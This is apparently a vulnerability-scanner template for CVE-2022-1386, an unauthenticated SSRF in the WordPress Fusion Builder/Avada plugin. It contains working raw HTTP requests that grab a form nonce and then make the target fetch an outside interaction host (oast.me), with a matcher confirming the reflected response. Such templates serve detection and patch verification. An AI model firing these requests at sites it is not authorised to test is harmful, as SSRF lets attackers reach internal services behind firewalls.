id: CVE-2022-1386

info:
  name: WordPress Fusion Builder < 3.6.2 - Unauthenticated SSRF
  author: akincibor,MantisSTS,calumjelrick
  severity: critical
  description: |
    The plugin, used in the Avada theme, does not validate a parameter in its forms which could be used to initiate arbitrary HTTP requests. The data returned is then reflected back in the application's response. This could be used to interact with hosts on the server's local network bypassing firewalls and access control measures.
  reference:
    - https://wpscan.com/vulnerability/bf7034ab-24c4-461f-a709-3f73988b536b
    - https://www.rootshellsecurity.net/rootshell-discovered-a-critical-vulnerability-in-top-wordpress-theme/
    - https://theme-fusion.com/version-7-6-2-security-update/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1386
    cwe-id: CWE-918
  tags: cve,cve2022,wp,wordpress,ssrf,fusion,themefusion,avada

requests:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Origin: {{BaseURL}}
        Referer: {{RootURL}}

        action=fusion_form_update_view

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------30259827232283860776499538268
        Origin: {{BaseURL}}
        Referer: {{RootURL}}

        -----------------------------30259827232283860776499538268
        Content-Disposition: form-data; name="formData"

        email=example%40example.com&fusion_privacy_store_ip_ua=false&fusion_privacy_expiration_interval=48&priva
        cy_expiration_action=ignore&fusion-form-nonce-0={{fusionformnonce}}&fusion-fields-hold-private-data=
        -----------------------------30259827232283860776499538268
        Content-Disposition: form-data; name="action"

        fusion_form_submit_form_to_url
        -----------------------------30259827232283860776499538268
        Content-Disposition: form-data; name="fusion_form_nonce"

        {{fusionformnonce}}
        -----------------------------30259827232283860776499538268
        Content-Disposition: form-data; name="form_id"

        0
        -----------------------------30259827232283860776499538268
        Content-Disposition: form-data; name="post_id"

        0
        -----------------------------30259827232283860776499538268
        Content-Disposition: form-data; name="field_labels"

        {"email":"Email address"}
        -----------------------------30259827232283860776499538268
        Content-Disposition: form-data; name="hidden_field_names"

        []
        -----------------------------30259827232283860776499538268
        Content-Disposition: form-data; name="fusionAction"

        https://oast.me
        -----------------------------30259827232283860776499538268
        Content-Disposition: form-data; name="fusionActionMethod"

        GET
        -----------------------------30259827232283860776499538268--

    extractors:
      - type: xpath
        part: body_1
        name: fusionformnonce
        attribute: value
        xpath:
          - '//*[@id="fusion-form-nonce-0"]'
        internal: true

    req-condition: true
    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - 'Interactsh Server'

      - type: status
        status:
          - 200